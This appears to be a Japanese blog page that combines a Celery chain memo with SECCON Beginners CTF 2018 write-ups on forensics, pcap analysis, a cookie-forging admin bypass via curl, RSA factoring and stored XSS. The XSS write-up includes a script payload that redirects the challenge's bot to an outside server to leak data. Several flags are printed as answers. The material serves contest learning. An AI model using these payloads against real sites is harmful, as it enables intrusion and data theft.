Celeryのchainの使い方メモ

monkeyjack人工植物草Imitation CeleryリーフグリーンFoliage Home Decor 0fc86a448d9ee0e32f6ad4b8bd12d311
- 出版社/メーカー: MonkeyJack
- メディア: ホーム&キッチン
- この商品を含むブログを見る
コメント
Celery(セロリ)のメモ。
実装例
並列処理する対象の関数、関数その1、その2があるとして、関数その1が一度終わったら、そのまま引数を引き継いで関数その2に受け渡す例 (具体例:メールを送信する関数1、成功・失敗をプリントする関数2)
app/tasks.py/
#app/tasks.py/
from celery import shared_task
@shared_task
def add(x, y):
return 2 * x + y
@shared_task
def printer(z):
string="some string"
print("pre print==>",string)#redisのログに吐き出される
return z
app/views.py/
#app/views.py/
from .tasks import *
from celery import chain
#urls.pyと連動したtest
def test(request):
result = add.delay(3, 8) #通常のcelery関数ひとつ
while not result.ready():
print('spam')
print(result.get())
#プリントデバッグはこれ(これ以外はredisのログを見る)
result = chain(add.s(4, 4), printer.s()).apply_async()
#↑関数addに引数4,4を投入、
#addの返り値"2 * x + y"を
#関数printerの第一引数になる。
#add.sのsはシグネイチャーという機能の略らしい
print(result.get()) #プリントデバッグは同じ
・・・以下は通常のDjango.viewsと同じ
参考記事
pyenvがうまく動かない時のおまじない$ eval "$(pyenv init -)"

- 作者: Bill Lubanovic,斎藤康毅,長尾高弘
- 出版社/メーカー: オライリージャパン
- 発売日: 2015/12/01
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (3件) を見る
$ eval "$(pyenv init -)"
.imgの解析問題を解く[CTF for Beginners 2018]"Find the messages"

経緯
主にこの記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 7zを解凍
disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z というファイルがドンとあるだけ。まず、.7zという拡張子なので、これを解凍する必要がある$ brew install p7zipで入るp7zipというパッケージで解凍できるようになる。
$ 7z e disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z $ 7z x disk.img
なぜかわからないけどextractするコマンドを2回叩いたらしいから記録に残しておく。とりあえず、それでファイルが展開される。
2 message1
txtファイルに謎の文字列。見覚えがあるのはpython使ってるからかな・・・base64ですね。 Y3RmNGJ7eTB1X3QwdWNoZWQ=
で、デコード。
>>> import base64
>>> str ="Y3RmNGJ7eTB1X3QwdWNoZWQ="
>>> base64.b64decode(str)
b'ctf4b{y0u_t0uched'
でた!
3 message2
message_2_of_3.pngが見れない。ファイルが壊れてる??ということで、どうなってるのかバイナリをチェックしましょう。自分は0xEDというソフトを使ってます。
バイナリの最初がPNGは決まっているのですが、XXXXXXみたいになってるので、書き直します。

このように。

すると見えます。

_a_part_0f_ ですね、オブのオーがゼロなのでご注意をば。
3 message3
binwalkってのがいいらしいんですが、インストール後なんかうまく動いてくれないので別途foremostというツールを利用。
$ foremost disk.img foremost: /usr/local/etc/foremost.conf: No such file or directory Processing: disk.img |*|
00018946.pdfというファイルが手に入ります。 PDFに書いてます↓
"disk_image_for3nsics}"
これを足して、
ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}
が正解!
参考引用元記事
こちらも参考にさせていただきました。
メールのキャプチャを追う問題を解く[CTF for Beginners 2018]"[Warmup] plain mail"

経緯
主にこの記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
0 wiresharkをインストール
wiresharkは存在は知っていたけど、使うのは初めて。なのでインストール@MacOSXでも、ちょっとBREWでサクッとはいかないからこの記事がいいです。 HomebrewでGUIなWiresharkをインストール | Scribble
1 wireshark起動
ファイルを開くで、ダウンロードしてきた問題のファイルpacket.pcapを開く。するとやりとりが見える。

やりとりが2つのIPで往復していることを把握。で、ちょっと切れてしまっていますが、IP〜03が、IP〜02に対して「メール送信後に暗号化データを送るパスワードを送る」とあり、

↑でパスワードがわかる。_you_are_pro_
3 暗号化されたデータを取得して解錠
まだ終わらない。ここでその鍵を開ける側のファイルを入手する必要がある。これは、ファイル=>オブジェクトをエクスポート=>IMF形式で取り出せる。と、参考記事にあったので試すと無事取り出せた。IMFはInretnet MessageFormatの略なんだ、へー
すると、zipファイルが出てきて、それにパスワードを入れて解凍すると、フラグが見える!
参考引用元記事
こちらも参考にさせていただきました。
Webのログインクラック問題を解く[CTF for Beginners 2018]"[Warmup] Greeting"

経緯
この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 まず挙動を見る
コードもぺろんと書かれている
<?php
if(isset($_POST['name'])) {
setcookie("name", $_POST['name'], time()+3600);
$username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");
// 管理者でログインできる?
if($username === "admin") {
$username = "偽管理者";
}
} elseif(isset($_COOKIE['name'])) {
$username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
$username = "ゲスト";
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>SECCON Beginners greeting service</title>
</head>
<body>
<h1>こんにちは!<?=$username?>さん!</h1>
<hr>
<?php if($username === 'admin'): ?>
こんにちは管理者さん。
Flagは、 "<?=$_ENV['SECCON_BEGINNERS_FLAG']?>"です。
<?php else: ?>
こんにちは<?=$username?>さん。
Flagは、管理者である"admin"さんにのみしか表示されません。
<?php endif; ?>
<form method="POST">
<input type="text" placeholder="名前" name="name">
<button type="submit">名前を変更する</button>
</form>
<pre>
<code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
</code>
</pre>
</body>
</html>
$username == 'admin'ならFlagは、・・・と表示されるはずが、フォームにadminと入れるとPHPによって$username = '偽管理者'と代入されなおされてしまう!うーむ。
$_POST['name']うんたらということはPOSTメソッドのときに動くわけであるから、POSTじゃない方法でクッキーにadminとセットしたままこのサーバーにアクセスできればいいんだ。ということになる。
GETでアクセス
要するに、これは一旦POSTしたあとに再読込すればいいということになる。
こんにちは管理者さん。 Flagは、 "ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}"です。
OK!
curlでもできるよ
もちろんカールでもできます^^
$ curl -b name=admin greeting.chall.beginners.seccon.jp
参考資料によると、下記のようにgrepをかけると、flag部分だけ抽出できてより手っ取り早い!
$ curl -b name=admin greeting.chall.beginners.seccon.jp | grep ctf4b
参考引用元記事
こちらも参考にさせていただきました。
http://zeosutt.hatenablog.com/entry/2018/05/27/140530
XSS問題を解く[CTF for Beginners 2018]"Gimme your comment"

経緯
この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up
手順
1 XSSの可能性を疑い、検証
見えるのは、Webアプリフレームワークでよく作るBootstrap風のサイト。投稿できるフォームがあるのみ。
まず、投稿フォームが機能しているので、投稿してみる。ここで、Web上のフォームの脆弱性をつく、ということで、XSSの可能性を考える。これを調べるのは、<h1>あ</h1>とかをフォームに入れてみて、<h1>タグがエスケープされているか、されていなくて反応してでっかく文字が出てくるかを見れば良い。すると、フォームのタイトルはエスケープされているものの、コメント本文はエスケープされていない。ここにXSSをしかけることができるとわかる。
2 サーバーを用意しXSSをしかける
User-Agentはどういうときにわかるか、それはサーバーにアクセスしたときのサーバーログだということで、サーバーログが見れる自分の外部公開しているサーバーのURLを用意する。(今回は仮にhttp://www.fugafugafugafuga.comとする。実際は自分のサーバーのURLを設定した。)
※ちなみに注意すべきなのは外部公開していないローカルサーバーでは意味がないです。例えば127.0.0.1とかではサーバーにログが残りません。CTF4bのサーバーからもアクセスできるように外部公開サーバーにしましょう。
下記Javascriptコードでリダイレクトさせられる。
<script>location.href="http://www.fugafugafugafuga.com"</script>
フォーム本文にこのコードを入力、投稿ボタンを押したら、www.fugafugafugafuga.comにリダイレクトされたのを確認する。
3 サーバーのログを見る
サーバーのログを見る。と、アクセスが起きた時刻のログをよく見ると、フラグが書いてある。解けた!!
参考引用元記事
こちらも参考にさせていただきました。
zeosutt.hatenablog.com
RSA暗号解読問題を解く(前編)[CTF for Beginners 2018]"RSA is Power"

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-
- 作者: 碓井利宣,竹迫良範,廣田一貴,保要隆明,前田優人,美濃圭佑,三村聡志,八木橋優,SECCON実行委員会
- 出版社/メーカー: マイナビ出版
- 発売日: 2015/09/30
- メディア: 単行本(ソフトカバー)
- この商品を含むブログ (4件) を見る
経緯
この記事を元にCTF復習中 SECCON Beginners CTF 2018 Write-up
2問目
N = 97139961312384239075080721131188244842051515305572003521287545456189235939577 E = 65537 C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
という3つの数字が並ぶ。わかったところまでメモる。
手順
1:Cは末尾が6。_%2も(_%2)%2も0なので2素数の積ではない。モジュロには不適。 Eは桁数が少ないのでRSA暗号のモジュロにするには不適(そもそも実際素数なので素数の積になりえない)なので、Eはたぶん公開鍵だろうなとあたりをつける。でNがモジュロだとあたりをつける。で素因数分解。このとき77桁なので、まあ素因数分解できるか
bit数を測る:桁数じゃなくてビット数をカウントして計算量を測る場合。
>>> s = "97139961312384239075080721131188244842051515305572003521287545456189235939577" >>> bin(int(s)) '0b1101011011000011010001010000101111000110001110110000000000011110000100101000011111100011100010110110101110011101101011100011011010111111001101011011101011110011100100011011001010011111001010011000110010101010110111011110000111011111101011100100100011111001' >>> len(bin(int(s))) 258 #258bit
2258 の情報量ということですね。
情報量のメモ。 ビット
参考まで
>>> len(bin(0)) 3 >>> len(bin(10)) 6 >>> len(bin(100)) 9 >>> len(bin(100000)) 19
$ ./msieve -e -p -q -v "97139961312384239075080721131188244842051515305572003521287545456189235939577" ぶわーっと始まる recovered 18 nontrivial dependencies p39 factor: 299681192390656691733849646142066664329 p39 factor: 324144336644773773047359441106332937713 elapsed time 00:02:49
で、素数の積となる組み合わせPとQは、299681192390656691733849646142066664329と324144336644773773047359441106332937713になるということころまでわかりました。
続きは次回